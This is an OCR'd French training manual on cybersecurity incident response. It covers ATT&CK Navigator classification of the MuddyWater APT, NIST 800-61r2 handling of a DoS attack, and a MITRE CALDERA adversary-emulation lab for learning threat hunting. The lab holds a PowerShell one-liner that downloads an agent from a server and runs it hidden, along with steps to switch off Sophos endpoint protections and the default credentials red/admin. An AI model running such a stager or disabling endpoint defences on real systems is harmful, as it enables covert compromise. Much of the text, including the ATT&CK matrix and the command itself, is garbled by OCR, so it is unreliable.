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Arenis

1. SSAPPROPRIER LA NOTION D’UN

SOMMAIRE INCIDENT DE SECURITE

* Activité : Etude de cas
(Attaque Muddy Water APT)

APPLIQUER LES PROCEDURES DE
GESTION DES INCIDENTS

e Activité : Etude de cas
(Attaque DOS)

3. EFFECTUER LE THREAT HUNTING

* Activité : Appliquer I'outil « MITRE CALDERA »

4. REPONDRE A DES INCIDENTS DE
CYBERSECURITE

e Activité 1 : utilisation de GRR
e Activité 2 : utilisation de VELOCIRAPTOR



MODALITES PEDAGOGIQUES
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LE GUIDE DE LA VERSION PDF DES CONTENUS DU CONTENU DES RESSOURCES
SOUTIEN Une version PDF TELECHARGEABLE INTERACTIF EN LIGNES
Il contient le est mise en ligne S Vous disposez de Les ressources
résumé théorique sur I'espace Les fiches de contenus sont consultables

et le manuel des
travaux pratiques

apprenant et
formateur de la
plateforme
WebForce Life

résumés ou des

exercices sont

téléchargeables
sur WebForce Life

interactifs sous
forme d’exercices
et de cours a
utiliser sur
WebForce Life

en synchrone et en
asynchrone pour
s’adapter au
rythme de
I'apprentissage
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S’approprier la notion d’un incident de
sécurité
Dans ce module, vous allez :

e Classifier un incident de sécurité
* Vous habituer a utiliser MITRE ATT&CK




OFPPT WEBfﬁEﬁE > ACTIVITE n° 1

La Voie de 'Avenir B’

Etude de cas : attaque Muddy Water APT

Compétences visées :

* Adopter et exploiter la base de connaissances ATT&CK.

* Classifier d’'un incident de sécurité a partir d’'un cas pratique

Recommandations clés :

* Changement de politique assorti d'une main-d'ceuvre technique

* Profiter des outils existants

12,5 heures




CONSIGNES
W WE B FORCE > Pour le formateur :

La Vole de l'Avenir

* Laisser au stagiaire I'occasion de comprendre seul le contexte
* Discuter les étapes avec les apprenants avant de donner la correction

* Exploiter cette activité pour donner des compléments d’informations par rapport a
I'objectif attendu

Pour I'apprenant :

* Déterminer la maniere dont les attaquants interagissent avec les systemes
*  Documenter les comportements adversaires au sein des systémes

* Suivre les attaques

* Evaluer les outils de défense déja en place

¢ Maitriser des éléments d’un incident de sécurité

' Conditions de réalisations :

_ . ¢ Seul ou en binbme

¢ Des ordinateurs dotés d’'une connexion internet

* Un projecteur dans le cas d’une présentation a faire par le formateur pour montrer un
cas d’usage aux stagiaires

Criteres de réussite :

* Travail en groupe
e Qualité du livrable en termes du contenu

* Qualité du livrable en termes de présentation
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Etude de cas : attaque Muddy Water APT

Problématique:

* Dans la société X, vous étes les responsables de la cyber sécurité qui regoivent une alerte concernant une attaque Muddy Water APT qui menace leur systéme.
* MuddyWater est un groupe de menaces qui cible principalement les secteurs des télécommunications, du gouvernement, du pétrole, de la défense et de la finance au
Moyen-Orient, en Europe et en Amérique du Nord.

* Dans cette campagne d'attaque, le groupe de cyberespionnage MuddyWater utilise principalement le PowGoop DLL Loader et Mori Backdoor.

Question :

Quelle est la premiere étape a exécuter pour classifier et mettre en place un plan de réponse d’incidents contre cette attaque ?

Solution :

e Utiliser MITRE ATT&CK

* Le framework MITRE ATT&CK est une base de connaissances accessible dans le monde entier sur les tactiques et techniques de l|'adversaire, basée sur des

MITRE
ATT&CK.

observations du monde réel.
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Etude de cas : attaque Muddy Water APT
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Correction:

»  mitre-attackgithub.so

Etape 1

Allez a : https://mitre-attack.github.io/attack-navigator/ MITRE ATT&CK® Navigator

The ATTALK Navgst web-based ¢ to g and exploning ATTRCK matrce

Cliquez sur Create New Layer puis Entreprise pour accéder a

la page de classification des attaques. -
KA
Create New Layor 1 Create a now ompty layer
ISpie 2 )

V. )

wn Existing Layet Load a layer from your computer of a URL

yet | N ) ey f 9 rof
3 N Create a hyper 1o a customized ATTACK N


https://mitre-attack.github.io/attack-navigator/
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Etude de cas : attaque Muddy Water APT
Correction :
* Pourvous aider a rester organisé, vous allez renommer le calque « Muddy Water » en cliquant sur le nom en haut a gauche
Muddy Water X +
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Etude de cas : attaque Muddy Water APT

Correction:

Etape 2
* Ci-dessous la page contenant toutes les attaques classifiées par groupe

* Utilisez la loupe pour effectuer la recherche
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~ v . - - 3
a' x. .' 2 E . ?' li .' . v ‘ ~ -o /// i- u- Q. O, = .'é
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Etude de cas : attaque Muddy Water APT Y

Correction:

Etape 3
* Dans la zone de recherche apparue, écrivez le nom de 'attaque. Dans notre cas, le nom sera MuddyWater

8.Q x .t HG |2 ©°: ¢ :m 5 @O o = ¥

Resource Pero?o I e
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Agcton Clent Becution Scnpts Boot or | " Oed
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Etude de cas : attaque Muddy Water APT

Correction:

* En dessous de la zone de recherche, vous pouvez remarquer I'existence d’onglets contenants des information concernant I'attaque comme par exemple les techniques

utilisées pour effectuer cette attaques, ou bien le groupe de menaces auquel elle appartient, ainsi que Software, qui indique les logiciels a utiliser afin de la détecter.
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MITRE ATT&CHKE Navigator v4.8.8
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Correction:

Etape 4

00 WEBF

OEPY_T BE THE CHANGE
Etude de cas : attaque Muddy Water APT
* Mettez e en lumiére toutes les techniques utilisées par I'attaque Muddy Water.
* Cliquez sur Select dans I'onglet « Threat Groups » puis sur le seau dans « techniques controls » pour choisir la couleur a utiliser.
rayer ~ T &
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— A -~ s f—
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Activité n° 1

Etude de cas : attaque Muddy Water APT

Correction

* Voila le résultat que vous allez avoir. Le MITRE ATT&CK a bien sélectionné toutes les techniques utilisées par Muddy Water.

Persistence
19 schinddpads

Privilege Escalation
13 sechriguss

Defense Evasion
A2 echrigues

Credential M(nss

wechin

Lateral Muwmr.-nt
9 rachwi s

Discovery
]

e sl

B *:EHBA =

Callectiaon

LT bk

& o

Comma nd and Cn-ntm-l

WEB

OFPPT

P

Cormirand and Scripang
TR .

Corainas Adminisraron
Comemand

Diapsbony Comai near

Iraer Processs
Communication ;.

u Maive 571
Schwackulid Tasilob

u Srawen Mookiks

Sormwaie Deplo Tt Tods

Sy=nam Sereioes

Lbsar Exgcution ; ;

i
—
-
(2’2
<
o

ArcrEnd Marigislation

HT= Job

B0k o Losgoen A i

Exocitican

Boot or Logon Initlalizason
ETipHs

Beowser EXEnEhong

Cormpromise Cline
5 e B nany

Croate Account
Crocme o Moty S—,—m’.m
Prowcass

Everd Tnj:.-ﬁr-cl
Exoution

Extornal Remate Sendces
Hijack Exwoutinn Flow
Trplant Interral I

ATy Aurtherntication
[

Dittica Appdication
Srartup g

P OS5 Boaot
Scheaciubad Tomkiob | -

Sarvar So tm..n'.
Compone

T

il

Vel BCooints

A e Ekewatioan Contresl
Plearhanda

Acceess Token
PN T
Boot o Logon Auto
Exacusion

Boor oF Logdan Inetialization
Seripts

Croate of Modity Sysem
Process

Diorvain Palioy
Floschfication
Escaps 6o Hoss

Evare Triggenss

Evan e g,-
Expdaitation or Priviloga
Escalation

Hijack Boccimion Flow
Proscess Injection
Screedubed Tadeob ) -
Valld Acconis

Brisme Eh wamon Contrcl
M

Aocass Token Mani pulaton
EITE bokes
Busld Image on Hest

Debisgoar Evasion

Daphoy Container

Dérect Wiodurre Access

Dewvin Policy Mocitcation
ECantion Guandrals

Expdoararion tor Dobonss

ek

Fike and Direcinny Permissi ones
ModiSication

Hida Artitacts
ok Exerution Flow
i Doforeas:

Ineclicance Rervowad oo Host

Erecliresct Commamand BascLmon
PR TainG o

Modi®y Authentication
Frocess

Modi®y Ooud Computs
It

Madiy Regiary

Py Symem Image:

Morwork Bourcany Bridoing

Plist Fila Modfcanion
Fr OS Boot
Frocess Ingection,

Riefteamivie IDoete LodaTie

Acharsany in the
Plicicle:

Brute Forne

Expleanation oar Credeantial
Acrans

Fonoed Smherdicamon

Fionge Wk
Credemiak

Ingust Capaura

Rty Batherbicanion
Prosess

(GENEraThon

Fenwork Sniffing

OF Credential
Durging . x

Seaad .ﬂlf‘:}l\.ill“"\ AL
Trkaor

Steal of Fonge FaThenca
Tickans

B ICREOORAITY Explairation of Resrete
Servicas

Aopdcation Wardow Dis

oy
el Spearpleshing
Errevsar Bookrrank Disoovany
Lateral Tool Tansier
Ooud efrasiructune Discowvery
Rearasie Serdce Sesshon
o Sardee Dashioand Hijacking

O Sardes DHeoiwery Rieraste Serices

horod Snorage Dijecs Danowery' R i s Thirasch
Faa: c- Mo

e Wiodia

Coavtadnes and Reccerce
D Sofrmare Deplopment
Toods
Debagoer Evaelon

- Tair Sharesd Conment
Cxwviin Tt DNscower

Grup Polioy Discovery

Mletwmonk Servics Discowany
Petecate Shan Clecowary
PeTecat Srifing

Fasowond Podicy Diccowery

Freriphand Davica Discowarny

e Groasps Deacowery

iy Rogisiny

Encald which Soxcion Coodda

Lressscurad
Credentiak | -

Copyright -

Rt Sysnam Dscowery

Symam Location Discovany

Sysiam Servios Disoovarny
Symam Time Discovery

Pl tion S b |

Tout droit réservé - OFPPT

Acearsany in e Ao Las
Plichoil: Proocnl 5

Anchive Collmed D0 ) o Communication Thruch
Rermowabik Media
Ausdio Caphsra

Coa Encoding ,
Automated Collecion

Ceea DbAScation
Brovesar Secshon Hijaoking

Dy

v Resolution
Oiptaand Dotz

ey Cha nesal

Data from Cloud Sorage
DOibpact Fall hack Chanris
Diata from Configuration
REPOSEROTY o,
Drata froaw WnbcaTraticn
i woi s Pod Aol imariod (Layes
Protocol
Diata fromn Local Sysem
Pon Standand Poet
Diata fromn Meteork Shared
Dirhes Froeol Tunneling
Drata froee Ranmcwaiie Prowy )
Motz
Drata Fage

Trattic Sionaling

Ervcdl Collaction

Wk Servioa ),

Ingast Capasra

Cora Transiar Siae Limins

Elitivasion Oher
Atermaties Pecacocd

Edtiftramon Ovar Dther
PloTmork Madium

Ectiltramion Ovar P
Plociom .,
Eetiltramon Over Wb
Servica

Schadobiad Trangter
Trarahor Dora T Oewd
Arccaan

ArrraEnn Bonass Remenal
Dot Deastruction

Dt Enerygpied tow It
Do hondgeslation

(15

Dok Wigsa

Enapecing IDesial of
Sandce

Firmewame: Coamupithon
Imhinit 351“'.“\ Ry

Mebwork Deniall of
S

Resounca Hiladking
Sandce Sop
SysnarTs ST Rt

BFORCE .

BE THE CHANGE

14



Activité n° 1 OO \WEBFORCE .

OFPPT BE THE CHANGE
Etude de cas : attaque Muddy Water APT
Correction :
* Le nombre total des techniques utilisées est affiché dans la partie « selection controls » a c6té le I'icone X.
+
selaction controls fayer controls technigue controls
— A A & v 7 s =
B ax|B *EA=[1® 0 ¢ m z& MA o =
Resource . . . Privilege . Credentia
Development Initial Access Execution Persistence Escalation Defense Evasion Access
7 techniques 9 techniques 12 techniques 19 techniques 13 techniques 42 techniques 16 technique
Acquire Drive-by Command and Account Abuse Elevation Abuse Elevation Adversary-in-
Infrastructure ,, ., ll Compromise Scripting Manipulation , . i Control Control the-Middle , }
Interpreter o, Mechanism ., ,, Mechanism ., .,
Compromise Exploit Public- -~ BITS Jobs - Brute
Accounts - Facing Container Access Token Access Token Force 4
' Application Administration Boot or Logon Manipulation ., [ Manipulation , . -
Compromise Command Autostart
Infrastructure . .l External Remote Execution 1, Boot or Logon BITS Jobs
Services Deploy Container Autostart
Develop Boot or Logon Execution ;14 Build Image on Host
Capabilities . Hardware Initialization Exploitation
Additions Scripts .« Boot or Logon Debugger Evasion for Credential
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Etude de cas : attaque Muddy Water APT

Correction:

Etape 5
* Vous disposez de plusieurs options pour exporter votre layer ou calque, et celle que vous choisirez dépendra de la maniere dont vous souhaitez |'utiliser. Toutes les
options sont dans l'onglet « layer controls ».
* Vous pouvez exporter vers :
v’ Excel, mais il exportera simplement les couleurs.
v JSON, qui peut étre utile si vous souhaitez créer un script d'ingestion d'un calque dans un autre outil ou I'enregistrer pour une manipulation ultérieure dans le
navigateur.

v Image SVG, afin que vous puissiez montrer ce que vous savez sur les groupes adversaires.

+
selection controls layer controls technigue controls
— A AN v s Y

8.Qx B, *HO- [ 0 ¢ i m 7o ME
- Resource . . ' Privilege .
" Development Initial Access Execution Persistence Escalation Defense Evasion
= 7 techniques 9 techniques 12 techniques 19 techniques 13 technigues 42 techniques
(2’4
< Acquire Drive-by Command and Account Abuse Elevation Abuse Elevation 4
Q. Infrastructure (1/6) Compromise Scripting Manipulation (0/5) Control Control t

Interpreter g o, % Mechanism (1/4) Mechanism /4
CAmnramice Fvnlait Dohlic- RITS Inhc F




Activité n° 1 S WEBFORCE .

BE THE CHANGE

Etude de cas : attaque Muddy Water APT

Correction:

Etape 6
* Pour ce TP, nous choisissons d’exporter le calque sous forme de fichier image SVG en utilisant I'icone de « I"appareil photo », car c’est le format le plus adéquat pour
Iillustration.
+ 1
selection controls layer controls technigue controls
— A ~ o L | | | / == =
8. x B +@EA=2€0: 1w 72 0 A o=
Resource . render layer to SVG ) Privilege . Credential
Development Initial Access FXECUtc Persistence Escalation Defense Evasion Access
7 techniques 9 techniques 12 technigues 19 technigues 13 techniques 42 techniques 16 technigues
Acquire Drive-by Command and Account Abuse Elevation Abuse Elevation Adversary-in-
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Etude de cas : attaque Muddy Water APT

Correction:

* Cliquez sur Dowload SVG pour télécharger le calque.

in mw: T, © %

v A v v
s
B download SVG
~about domain platforms
Linux, macOS, Wind
Muddy Water Enterprise ATT&CK w11 PRE, Containers, MNe
SaasS, Google Work:
\
Resourcs Imitial Privilags Defanzs Credential Lataral
Reconnalssance Access Execution Perzistance attan Evasion Accasn Dilecovery Movement Calisciion
e ] Dby oot tocmm Lhose Searon s O _— doamant e & » .
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close
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Etude de cas : attaque Muddy Water APT

Correction :
* Maintenant, vous connaissez vos adversaires. |l est temps de préparer les atténuations de risques (outils et techniques) et de découvrir les lacunes de votre stratégie
de défense en se basant sur les procédures de gestion des incidents adaptées.

* |l est recommandé de créer une feuille de route pour améliorer les lacunes de défense et mettre a jour la carte en conséquence.

about domain platforms

Linux, macOS, Windows,

Muddy Water Enterprise ATT&CK w11 FPRE, Containers, Metwork, Office 365,
Saas, Google Workspace, laas, Azure AD

Emmcutan Iersesence

lil

i
—
-
(2’2
<
o

[ E—
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Appliquer les procédures de gestion des
incident

Dans ce module, vous allez :

* |dentifier une attague DOS (Deny of Service)

* Appliquer les procédures 800-61 R2 du NIST
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Etude de cas des attaques DOS

Compétences visées :

* Modéliser les processus de gestion des incidents

» Utiliser les normes de gestion des incidents sécurité comme le
NIST 800-61r2

Recommandations clés :

* Se référer au cours

* Consulter la documentation officielle

19 heures
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La Vole de I'Avenir B’

A

N

1.

CONSIGNES

Pour le formateur:

Laisser au stagiaire I'occasion de comprendre seul le contexte
Discuter les étapes avec les apprenants avant de donner la correction

Exploiter cette activité pour donner des compléments d’informations par rapport a
I'objectif attendu

Pour I'apprenant :

Lire et bien comprendre la problématique
Essayer de trouver de vous-méme une solution a cette problématique et la noter
Parcourir les réponses proposées

Comparer vos réponses a celles proposées pour évaluer votre niveau de
compréhension du cours

Conditions de réalisation :

Seul ou en binbme
Support de résumé théorique accompagnant

Stylo et feuille de papier

Criteres de réussite :

Travail en groupe
Qualité du livrable en terme du contenu

Qualité du livrable en terme de présentation
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Etude de cas des attaque DOS i
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Problématique:

* Pendant cette activité, vous allez appliquer les procédures 800-61 R2 du NIST pour protéger un systéme contre une attaque de Déni de service.

* Une attaque par déni de service (DoS) est une attaque qui vise a arréter une machine ou un réseau informatique en le rendant inaccessible aux utilisateurs auxquels il
est destiné en perturbant temporairement ou indéfiniment les services.

* Lors d'une attaque DoS, les pirates inondent le réseau d'un systeme ciblé en y dirigeant une grande quantité de trafic a partir de plusieurs systemes sous leur controéle.
Il s'agit d'une tactique courante utilisée par les attaquants via un réseau de systémes compromis pour rendre un service en ligne inutilisable.

* Les pirates ciblent souvent les serveurs Web d'organisations de premiere importance telles que les banques, les entreprises de médias, ou les organisations
gouvernementales et commerciales. Bien que les attaques DoS n'entrainent généralement pas le vol ou la perte d'informations importantes ou d'autres actifs, elles
peuvent coliter beaucoup de temps et d'argent a la victime. Les attaques DoS peuvent finir par nuire a la réputation d'une organisation en affectant la disponibilité de
ses services, l'activité des clients et les opérations commerciales. Les motifs derriere les attaques DoS peuvent également inclure entre autres l'extorsion, le
hacktivisme, la cyberguerre, et la rivalité d'entreprise.

Objectif

* L'objectif du processus de gestion des incidents contre I'attaque DOS est de définir les activités qui doivent étre prises en compte lors de la détection, de l'analyse et
de la résolution de l'incident.

* Le processus identifie également les principales parties prenantes qui peuvent étre nécessaires pour entreprendre ces activités spécifiques.
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Correction:

1.

L 2 2 N T

Identifier : Identifier les types de menaces et tous les actifs potentiellement a risque.

Différents types d'attaques peuvent affecter les services. Il est donc trés important de préciser la nature de I'attaque pour bien choisir les méthodes de défenses et
finalement répondre a lI'incident de maniere rapide et efficace.

Ci-dessous, il y a des question a poser afin de déterminer si le systeme est vraiment attaqué par DoS:

Voyez-vous de nombreuses entrées de journal de serveur Web ou une bande passante maximale sur vos routeurs ou périphériques ?

Cela peut indiquer une attaque qui tente d'inonder votre site de trafic et d'épuiser votre bande passante.

Le processeur de votre serveur Web est-il au maximum ?

Cela peut indiquer une attaque qui tente d'épuiser les ressources de votre serveur par opposition a la bande passante.

Pouvez-vous identifier I'adresse IP ou le domaine ciblé ?

Il peut étre possible de restreindre I'acces a ce domaine afin de préserver d'autres services.

Un aspect spécifique de votre service est-il ciblé ?

Les attaquants peuvent cibler une partie spécifique et vulnérable de votre service, telle que la fonctionnalité de recherche, qui nécessite beaucoup de calculs.
Est-ce votre base de données qui tombe en panne plutdt que la pile d'applications Web ?

Peut-étre devez vous mettre a jour votre base de données pour faire face a la demande.
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Correction:

2. Protéger : analysez comment protéger au mieux tous les actifs identifiés.

Ci-dessous les principales interventions a mettre en ceuvre pour renforcer les points faible identifiés :

v

D N N N N N RN

Explorez vos options défensives en amont

Déterminez les points de votre service ou les ressources peuvent étre surchargées ou épuisées

Déterminez si vous, ou un fournisseur, étes responsables de chacun.

Envisagez d'atténuer votre utilisation des ressources de calcul (bande passante)

Assurez-vous que vos fournisseurs de services sont préts a faire face a I'épuisement des ressources la ou ils sont les mieux placés pour vous aider (bande passante)
Déterminez si vous pouvez dégrader votre service

Assurez-vous que votre service peut évoluer pour faire face aux pics de sessions simultanées (base de données)

Vous devez concevoir votre service et planifier votre réponse a une attaque de sorte que le service puisse continuer a fonctionner, méme de maniere dégradée.

Copyright - Tout droit réservé - OFPPT
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Correction:

3. Détecter : Définissez comment les menaces contre les actifs seront détectées.

Il existe deux principaux moyens pour détecter les attaques DoS :

v' ’examen en ligne de tous les paquets : les capacités de détection de DoS en ligne de base des périphériques réseau tels que les équilibreurs de charge, les pare-feux ou
les systémes de détection des intrusions ont peut-étre autrefois fourni une détection acceptable lorsque les attaques DoS étaient plus petites, mais les attaques a
volume élevé peuvent submerger ces périphériques, car elles utilisent un examen d'état gourmand en mémoire. Les appliances d'atténuation DoS dédiées sont

aujourd'hui le principal moyen d'effectuer une détection (et une correction) en ligne. Cependant, ils peuvent devenir colteux et avoir un cycle de vie court face a des
menaces de volume plus élevé

v' La détection DoS hors bande est réalisée par un processus qui recoit les données de flux des routeurs et commutateurs compatibles comme NetFlow, J-Flow, sFlow et
IPFIX, puis analyse ces données de flux pour détecter les attaques.

Copyright - Tout droit réservé - OFPPT
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Correction:

4. Répondre : décrire les mesures clés pour répondre aux menaces détectées.

* Alors que les attaques DoS sont moins difficiles a arréter ou a prévenir que d’autres, elles peuvent toujours présenter une menace sérieuse.

* |lyades actions a réaliser rapidement pour réduire l'impact de I'attaque ou sa capacité a submerger le service, comme:

v" Apporter modifications temporaires au site : vous pouvez, par exemple, générer une version statique du site ou désactiver les fonctionnalités intensives du processeur
ou de la base de données (par exemple, la recherche).

v" Conserver un journal des modifications que vous apportez, afin de pouvoir revenir a un état connu une fois que vous étes sdr que I'attaque est terminée.

* Les attaques DoS ont tendance a étre relativement courtes (90 % durent moins de 3 heures). Si I'attaque est persistante et se poursuit méme avec vos atténuations
initiales en place, vous devez déterminer d’autres actions approfondies.

Copyright - Tout droit réservé - OFPPT
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Correction:

4. Répondre : décrire les mesures clés pour répondre aux menaces détectées.

Ci-dessous, les actions essentielles a exécuter lors de la défaillance des atténuations initiales :

v' Limiter la diffusion : souvent, les attaques envoient des requétes a chaque appareil du réseau, amplifiant |'attaque. Limiter ou désactiver le transfert de diffusion dans
la mesure du possible peut perturber les attaques. Les utilisateurs peuvent également désactiver les services d'écho et de charge dans la mesure du possible.

v Empécher l'usurpation d'identité : vérifiez que le trafic a une adresse source cohérente avec I'ensemble d'adresses pour son site d'origine déclaré et utilisez des filtres
pour empécher l'usurpation des connexions d'acces a distance.

v" Activer les pare-feux : assurez-vous que vos pare-feux limitent le trafic d'entrée et de sortie a travers le périmétre dans la mesure du possible.

v' Surveiller le réseau : plus vous savez a quoi ressemble le trafic entrant normal, plus vite vous repérerez le début d'une attaque DDOoS. La visibilité en temps réel avec
détection et réponse du réseau est un moyen efficace et fiable pour détecter immédiatement les surtensions suspectes.

v’ Rationaliser la réponse aux incidents : affinez votre réponse aux incidents peut aider votre équipe de sécurité 3 réagir rapidement lorsque des attaques DoS sont
détectées.

Copyright - Tout droit réservé - OFPPT
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Correction:

5. Récupérer : Définissez comment réparer l'infrastructure impactée et maintenir la sécurité.

* Pendant que l'attaque est en cours, envisagez d'utiliser d'autres méthodes de communication pour informer vos utilisateurs de I'état de vos services et d'autres
méthodes qu'ils pourraient utiliser pour accéder a vos services. Les comptes de médias sociaux préexistants peuvent étre une bonne voie pour cela.

* |l est relativement courant que les attaques surviennent en rafales. Une fois I'attaque initiale passée, vous pouvez attendre d'étre s(r que I'attaquant ne revienne pas
avant d'annuler les modifications que vous avez apportées a votre service.

* Une fois que vous avez entierement récupéré votre service, vous devez examiner |'impact de I'attaque et la probabilité d'une récurrence.

* Apporter les modifications nécessaires pour renforcer votre systeme contre les futures attaques.
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PARTIE 3
EFFECTUER LE THREAT HUNTING

Dans ce module, vous allez :

e Définir le Threat Hunting

* |dentifier les étapes du processus
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Présenter MITRE CALDERA

Compétences visées :

* Simuler des adversaires avec MITRE CALDERA

» Utiliser Live Discover pour chasser les adversaires

Recommandations clés :
e Se référer au cours

e Consulter la documentation officielle
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* L'apprenant doit étre capable de mettre en place I'environnement de travail décrit
dans I'énoncé

* |l doit étre aussi en mesure de réaliser I'ensemble des étapes d’installation et de
configuration des environnement de travail, et d’observer les résultats de cette
installation

2. Pourl’apprenant:

* |l est recommandé de maitriser le principe de fonctionnement ainsi que I'architecture
de la solution MITRE CALDERA

* |l est recommandé également de suivre les étapes décrites dans I'énoncé

3. Conditions de réalisation :

‘ * L’environnement de travail a été bien mis en place et configuré

4. Criteres de réussite:

* Terminer toutes les étapes du TP avec succes

e 70% des réponses correctes pour les questions posées durant le déroulement des TP.
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C’est quoi CALDERA ?

* La chasse aux menaces est un outil et une discipline a forte intensité technologique. Il peut parfois sembler que les outils et services coliteux de chasse aux menaces
commerciaux sont les seuls outils du secteur. La réalité, cependant, est que la plupart des chasseurs de menaces ne s'appuient pas exclusivement sur ces outils
sophistiqués. Au lieu de cela, de nombreux chasseurs se retrouvent a rechercher des outils gratuits et flexibles pour les enquétes.

* CALDERA est un outil de cybersécurité concu pour exécuter facilement des exercices autonomes de violation et de simulation.
* CALDERA est un projet de recherche développé par MITRE et construit sur le framework MITRE ATT&CK

* CALDERA aide les professionnels de la cybersécurité a réduire le temps et les ressources nécessaires aux tests de cybersécurité de routine.

A

CALDERA
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—
-
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Installer une machine virtuelle « UBUNTU »

Voici un guide étape par étape sur la fagon d'installer I'outil de test MITRE Caldera pour simuler des adversaires et utiliser Live Discover pour les chasser.

1. Installez une box Linux : téléchargez Ubuntu et créez une nouvelle VM.

o ubunbucom,

CANBMNITAL

ubuntu® Enterprise ~  Developer

Ubuntu Desktop Uounktu Senver » Ubunktu fo
Dowmiload Ubuntu deskbop and The most popular server Linus in the Are you a devel:
replace your current operating cloud and data centre, you can rely on nappy Ubuntu
system whether it's Windo ac bty Server and g years of n an loT board
05, or, run Ubuntu alongside it guarankteed free upgrades.

20.04 LTS 20,10 Get Ubuntu Server

on
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Créer la machine virtuelle « UBUNTU »

2. Créez une nouvelle machine virtuelle a I'aide d'une image ISO.

>

m’y - v . \:.:J
Welcome to VMware
I i bite Workstation 15 Player
@mem At () l— Create & New Virtual Machine
_+] Create o new wius machne, which wil then be added to
— e 200 of your eary.

Open a Virtual Machine

D.h Open an exstng vriual madwe, whch vl then be added
1 the 00 of your Brary,

S  upagrade to VMware Workstation Pro

oN
—
-
(2’2
<
o.
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Welcome to the New Virtsal Machine Wizard
A vetusl machene @ loe & phvpsical Computer; 2 needs an coeratng
systen, Mow wil you retall the guest operating system?

Install froen
O trataller diuc:
o= DVD Drive (D2)

(@) tnstaller doc emage Se (so):

o isers ok L \Domnioads L ouna» 20,04, 2.0 deskt ~ |

[ Ubuntu 640t 20.04.2.0 detected.
Ths cperating system wil use Easy Satal. (\hals Sl

(1 ol rstal the operatng systes later,
The wrtual machine wil be created with a Blark hard dak.
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Installation de I'outil MITRE CALDERA

3. Allez sur Caldera Github : https://github.com/mitre/caldera et suivez les instructions sur votre machine Linux.

Requirements

These requirements are for the computer running the core framework

Any Lirux o MacOS

Python 3.6.1« {with Pip3)

Cheome s our only support,

Recommended hardware to run on & 2+ CPUs

Installation

Stant by cloning this repository recursively, passing the desired version/release in xoux format This will pull an all

available plugins. If you done master - or any non-release branch - you may experience bugs.
git close hrtps://github.com/mitre/caldera.git recursive branch 3.0.@

Next, install the PIP requirements
pip3 install -r requiresents.txt

Super-power your CALDERA server installation! install Golang (1.13+)

Finally, start the server

Python3 server.py insecure

/githud . com/mitre/caldera.git recursive --branch 3.0.@

-r requiresents.txt

on
—
-
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er.py --insecure

Once started. you should fog into hitg a¥ 1:8888 using the credentals red/admin. Then go into Plugns - >

Training and complete the capture-the-flag style training course to learn how to use the framework
e F F g sty E


https://github.com/mitre/caldera
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Présenter MITRE CALDERA

Manipulation de I’outil MITRE CALDERA

4. Aprés avoir installé Caldera dans votre machine Linux, accédez a I'outil de test via http://localhost:8888 et créez un nouvel agent a déployer.

4a. Cliquez sur la barre de navigation pour afficher les options de menu.

# Red | Dashboard bl @ Red | Dashboard X

< ¢ @ © [ localhost:g888

= havigate

o™
—
-
o
<
(a




Activité n° 1 00 WEBFORCE »
Présenter MITRE CALDERA

Manipulation de I’outil MITRE CALDERA

4b. Sélectionnez "Agents".

R C @ © [ localhost:8888

CALDERA

Campaigns

yerations

o™
—
-
o
<
(a

Plugins
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Manipulation de I’outil MITRE CALDERA

4c. Sélectionnez « Click here to deploy an agent ».

can be com prorm
Click here to deploy an agent

BEACON TIMERS
WATCHDOG TIMER
UNTRUSTED TIMER

IMPLANT NAME

BOOTSTRAP ABILITIES

DEADMAN ABILITIES

on
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Manipulation de I’outil MITRE CALDERA

4d. Sélectionnez « 54ndc47 .... » dans la 1lere liste déroulante et « windows » dans la 2eme.

S4ndcaT: A Golang agent which communicates through the HTTP cont. ™

O A Golang agent which communicates through the HTTP contact (psh)

QAT S = New-Obyject

Surll; Sname=Sw

on
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Manipulation de I'outil MITRE CALDERA

4e. Assurez-vous de remplacer 0.0.0.0:8888 par votre "IPv4:8888".

Cancel

Detalls

Aemove Connection Profle
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4f. Si Sophos est installé sur votre ordinateur avant le déploiement de I'agent, désactivez la protection en la remplagant dans les paramétres et en désélectionnant les

indicateurs.

on
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6 Sophos Endpoint Agent

SOPHOS

Settings

[v] Override Sophos Central Policy for up to 4 hours to troubleshoot

Deep Learning

Enable Deep Learning

Real Time Scanning

Flles

Controls on Users
Peripheral Control
Web Control

Tamper Protection

Runtime Protection
Ransomware Detection
Exploit Mitigation

Maliclous Behavior Detection

Internet

Application Control

Data Loss Prevention

Safe Browsing
Network Threat Protection

AMS! Protection
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Manipulation de I'outil MITRE CALDERA

4g. Copiez le script ci-dessous dans le terminal powershell de votre ordinateur.

Sserver="";Swc=New-Object">192.168.170.133:8888;Surl="Sserver/.../download";Swc=New-Object

System.Net.WebClient;Swc.Headers.add("platform","windows");Swc.Headers.add("file","sandcat.go");Sdata=Swc.DownloadData(Surl); Sname=5wc.ResponseHeade
rs["'Content-Disposition"].Substring(Swc.ResponseHeaders["Content-Disposition"].IndexOf("filename=")+9).Replace("™"","");get-process | ? {S_.modules.filename -

like "C:\Users\Public\Sname.exe"} | stop-process -f;rm -force "C:\Users\Public\Sname.exe" -ea ignore;[io.file]::WriteAlIBytes("C:\Users\Public\Sname.exe",Sdata) |
Out-Null;Start-Process -FilePath C:\Users\Public\Sname.exe -ArgumentList "-server Sserver -group red" -WindowStyle hidden;

BN Admanstrstor: Windows PowerShell

on
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4h. Revenez a votre outil de test Caldera pour vérifier que I'agent a été déployé avec succes.

You have 1 spent
i (paw) contact

CALDERA

5a. Cliquez sur « Operations » pour créer une nouvelle simulation d'attaque.

Campaigns
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5b. Donnez un nom a votre opération et sélectionnez un adversaire (c'est-a-dire Super Spy). Appuyez sur Start une fois terminé.

&

Operations

|\ ADD .\ )

BASIC OFVIONS

Use all aroups ¥

No adversary (manual) X
Keep open forever X
Run immediately ¥

AUTONOMOUS
STEALTH

SCHEDULE
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Présenter MITRE CALDERA Ll

Manipulation de I'outil MITRE CALDERA

5c. L'opération va s'exécuter, validez avec les cercles verts qui indiquent qu'elle a réussi.
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Présenter MITRE CALDERA Fi

BE THE CHANGE

Manipulation de I'outil MITRE CALDERA

6a. Accédez a Sophos Central et utilisez la requéte Caldera Live Discover pour localiser I'attaque.

SOPHOS Threat Analysis Center - Live Discover

5 Thraat Analyses Cantor

Select One

¢ Back [0 CAlSgpori Al Quenes > ATTECK

]
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4 OFPPT BE THE CHANGE
Presenter MITRE CALDERA | e

Manipulation de I'outil MITRE CALDERA

6b. A partir des résultats, vous pouvez pivoter sur le SophosPID pour afficher I'arborescence des processus.
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La Voie de 'Avenir

Répondre a des incidents de Cybersécurité

Dans ce module, vous allez :

* Connaitre les stratégies et le processus de réponse aux incidents

* Savoir comment automatiser la réponse aux incidents




<O E
